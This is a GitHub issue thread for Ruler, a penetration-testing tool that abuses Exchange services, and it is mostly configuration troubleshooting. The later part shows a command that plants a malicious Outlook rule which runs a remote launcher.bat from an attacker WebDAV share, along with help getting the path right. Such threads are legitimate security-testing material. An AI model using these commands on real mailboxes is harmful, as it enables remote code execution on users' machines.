I removed the domain from the config and I'm in. Really do appreciate the fast response, the root is calling ;)

from ruler.

Hi

Thank you, I hope it's been of use.

Unfortunately no, there is no way as there as specific values coming out of the autodiscover.xml that are required. In particular the DN for the user

 <LegacyDN>/o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=13│
0d3c8212384d012304b05fe83acd7b-username</LegacyDN>     

This is required for the MAPI authenticate happening, and is separated from the usual user credentials. I haven't found a way to get this value other than through the autodiscover unfortunately.

I would try look around at other possible locations such as:

• mail.domain.com/autodiscover/autodiscover.xml
• webmail.domain.com/autodiscover/autodiscover.xml
• http://domain/autodiscover/autodiscover.xml

^ the last one might be relevant as I see that you receive a 301 from the first discover request, which ruler may not be following correctly (although it should)

hope this helps!

from ruler.

Hi,

Thank you for your quick reply. Yes, the tool seems fantastic, this is the first time I'm using it.

Since I have already access through OWA I know that information. I'm referring to:

<LegacyDN>/o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=13│
0d3c8212384d012304b05fe83acd7b-username</LegacyDN>

I think we could have another argument to input that string if that's the only think the tool is getting from discover.xml. What would be your thoughts on that?

Also, thank you for your suggestions, I tried all those places and others. Unfortunately, I'm certain the discover.xml file does not exist. It is interesting that the HTTP code is 301, because in that location there is nothing.

Thank you

from ruler.

In that case, it may be possible. Especially if it is using MAPI/HTTP.

I have a feeling there might be an issue, for RPC/HTTP, with locating the rpcproxy end-point without the server info from autodiscover. But all the information can in theory be supplied manually.

Tomorrow I will have some time to dig into it, maybe I'll add an option to supply a config file with the required info, that could work nicely.

from ruler.

That's fantastic, I will keep a watch on the tool for that next version. Theoretically, it should solve this problem about no having a autodiscover.xml resource.

Thank you very much

from ruler.

I've created a new branch: https://github.com/sensepost/ruler/tree/manualconfig

If you have time and are able to build, it would be great if you can test it out. Alternatively if you can tell me what OS you are using, I can supply a pre-built binary.

config options override the command-line options, if they are set. The important ones are:

• userdn
• mailbox
• rpcurl
• mapiurl

If RPC is used, you need to set the RPC url and set rpc to true.
The Mailbox needs be extracted out of OWA, for Office365, this value can be found in the RoutingKeyCookie value. for example, mine would be:

RoutingKeyCookie=v1:[email protected];

the Mailbox is : [email protected]

For the RPCURL and MAPI URL, the values need to be the full path, upto the arguments. basically the same as they are in the current config file.

To specify the config: ./ruler --config config.yml check

from ruler.

I'm impressed. You did this really quickly. Thank you, I will try to build it and test it. Also, I'm running this tool in Kali Linux

from ruler.

https://github.com/sensepost/ruler/releases/tag/2.1.5
^ here you go, some pre-built binaries.

:) Happy to add features! Normally I only find out that Ruler is being used when something breaks.

from ruler.

Awesome, thank you for the new branch. :-D

I was looking at your config.tml file and I tried to replicate the format as much as possible with my information, but I'm getting the following:

ERROR: 2017/05/05 10:30:40 mapi: a transport layer error occurred. Got a protocol error response:

It may be the way I'm setting the parameters. What would be your suggestion?

Also, I noticed that even thought the email, username, and password are set in the config file the tool still expects those parameters to be set on the command line.

from ruler.

I'll fix the ordering of the params.

My current config looks as follows.

username: ""
email: ""
password: ""
hash: ""
domain: ""
userdn: "/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0000000DFEF9FB24"
mailbox: "[email protected]"
rpcurl: "https://outlook.office365.com/rpc/rpcproxy.dll"
rpc: false
rpcencrypt: true
mapiurl: "https://outlook.office365.com/mapi/emsmdb/"

A good test would be to go to the RPC url in browser, authenticate and see if you get a 503 error, it is correct.

The mailbox needs to be a GUID @ domain

from ruler.

Thank you for all the info you have been very helpful. Unfortunately, I'm not able to run the tool successfully. It can also be that the GUID. I think I have is not correct. Not sure since in OWA I only see the "Exchange mailbox address", which is in the format:

"/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0000000DFEF9FB24"

I equate that to the "userdn" in the tool. The rest of the parameters mailbox (GUID@domain) could be obtained from there, but I haven't been successful. And I may not even have the right mapiurl either . :/

In any case, in my last run I encounter this:

./ruler-linux64-config --email email.com --password pass --username name --config config.yml --verbose display
[*] Setting up channels
[+] Binding to RPC
panic: runtime error: slice bounds out of range

goroutine 10 [running]:
panic(0x772f80, 0xc420010150)
	/usr/lib/golang/src/runtime/panic.go:500 +0x1a1
github.com/sensepost/ruler/utils.ReadUint16(0x8, 0xc42011c448, 0x7, 0x8, 0x656c79, 0x8)
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/utils/utils.go:197 +0x88
github.com/sensepost/ruler/rpc-http.(*RPCResponse).Unmarshal(0xc42014be60, 0xc42011c448, 0x7, 0x8, 0x0, 0xc420125800, 0x8)
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/rpc-http/packets.go:466 +0xec
github.com/sensepost/ruler/rpc-http.RPCOpenOut(0xc420084b40, 0x9d, 0xc42005f020, 0xc42005f080, 0xc42012a000, 0x0)
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/rpc-http/rpctransport.go:231 +0x247
created by github.com/sensepost/ruler/rpc-http.RPCOpen
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/rpc-http/rpctransport.go:180 +0x10e

I was running it with "rpc: true"

from ruler.

I got a feeling the mailbox value may be incorrect. It could also explain the panic you are getting there as an incorrect RPCURL should lead to a caught error.

So those are two things I'll dig into,

1. an easy way to get the mailbox value out of OWA - this is easy on office365, not sure of on premise Exchange
2. detect and prevent the panic

I'll mess around with this over the next few days 👍 I do like this feature, I've already used it myself! thanks for getting me to look into it

from ruler.

Ok, I've found a way to get some of the info you need.

In OWA, you need to go to Options -> About
The URL is usually: https://owadomain/?ae=Options&t=About

From there you need the following info:
Exchange mailbox address -> this is your userdn
Exchange Client Access server name -> this is your mailbox

Still searching for info on the RPC / MAPI URLs 👍

from ruler.

Thank you for the info! :) . I was using exactly that information from the Options/About tab. But, I wasn't sure of the "mailbox" value, so it is good to confirm.

I'm still getting the same problem.

mapi: a transport layer error occurred. Got a protocol error response:

I think it may have to do with the MAPI url. Thank you for taking the time to address this.

from ruler.

One last try :)

I've just had it work for me, so maybe you get lucky as well. There is a pretty good chance that RPC is on the same host as OWA.. so simply add the owa host in the rpcurl

I'm pushing updated binaries for Ruler, the config file has an additional line option you'll need to set:
Make sure ntlm is set to true for the first attempt, you can switch to false if you get a 401.

username: ""
email: ""
password: ""
hash: ""
domain: ""
userdn: "/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0003BFFDFEF9FB24"
mailbox: "[email protected]"
rpcurl: "https://mail.somedomain.com/rpc/rpcproxy.dll"
rpc: true
rpcencrypt: true
ntlm: true
mapiurl: ""

from ruler.

Thank you! I will give it a try once you the latest binary. Update: I see you just put it...great!!

from ruler.

Hi,

Just wondering if you can help with the following please?

Awesome tool by the way.

./ruler-linux64 --noencrypt --config config.yml check

[+] Binding to RPC
ERROR: 11:18:31 ruler.go:29: mapi: a transport layer error occurred. An error occurred setting up RPC.
Unable to obtain a session context
Try again using the --encrypt flag. It is possible that the target requires 'Encrypt traffic between Outlook and Exchange' to be enabled

./ruler-linux64 --encrypt --config config.yml check

Incorrect Usage. flag provided but not defined: -encrypt

NAME:
ruler - A tool to abuse Exchange Services

Thanks very much.

from ruler.

Hi and thanks!

The output of try again using the --encrypt flag is outdated and I should fix that, mi culpa. This is from the early days of RPC/HTTP support, where ruler defaulted to using unencrypted RPC messages. This subsequently changed to "encrypt by default", I forgot to update the message.

To control the encryption you can use the config file (which I see you already are):

rpcencrypt: true

If this doesn't work, running with --debug should dump the last RPC message before the error, possibly indicating why this has failed. I have a feeling domain might be playing a role.

from ruler.

awesome! Happy pwnage Friday! 🎉 😄 😈

from ruler.

Not quite yet :-)

./ruler-linux64 --verbose --debug --config config.yml --username bob.smith --name troopers --trigger troopers17 --location "\\192.168.1.10\w\launcher.zip\launcher.bat" --send

Incorrect Usage. flag provided but not defined: -name

There doesn't seem to be any reference to --name --trigger --location and the requirements for these flags?

I pulled this command from the video on YouTube.

Thanks again for your help.

from ruler.

I think I have worked it out now with the ./ruler add --help command.

The only thing I am struggling with is the --location tab for an internet facing host?

I have used the following:

--location "\\192.168.13.37\w\launcher.zip\launcher.bat"

But this isn't touching the webdav logs?

Thanks.

from ruler.

The location's slashes need to be doubled up when using " (a linux cmdline thing)

so: --location "\\\\192.168.13.37\\w\\launcher.zip\\launcher.bat"

or if using single quotes: --location '\\192.168.13.37\w\launcher.zip\launcher.bat'

from ruler.

Excellent thanks, I had a feeling after I posted.

It is now running but ruler seems to hang on:

[+] Auto Send enabled, wait 30 seconds before sending email (synchronisation)
[+] Sending email

Not getting the:

[+] Message sent

I am collaborating with the client and there should be no restriction on the FW, the only thing I can think is AV is catching the launcher?

from ruler.

strange that the send isn't happening, this should be independent of AV. You could try to either manually send an email with the correct trigger in the subject (say from your company address) or you can try with the send function in ruler.

send --subject test --body "this is a test"

https://github.com/sensepost/ruler/wiki/Rules#send

from ruler.

That worked a treat, seems after logging into Outlook there is an error with the rule. Upon investigation it looks like Microsoft have patched Outlook to not run scripts by default.

• Disables the rule actions to start an application or run a macro in Outlook 2016. You can also enable them by setting the EnableUnsafeClientMailRules registry value, see KB3191893 for more information.

https://support.microsoft.com/en-gb/help/3191883/may-2-2017-update-for-outlook-2016-kb3191883

Thanks again for the support. So near yet so far haha.

from ruler.

Yes that is correct, they patched rules, and a little while later the forms avenue as well. The homepage patch came out last year September as well. It is probably worth verifying that the other patches have also been applied.

Fortunately/Unfortunately they have been shutting down this avenue, so if companies are diligent in applying patches for Office, they should be protected.

from ruler.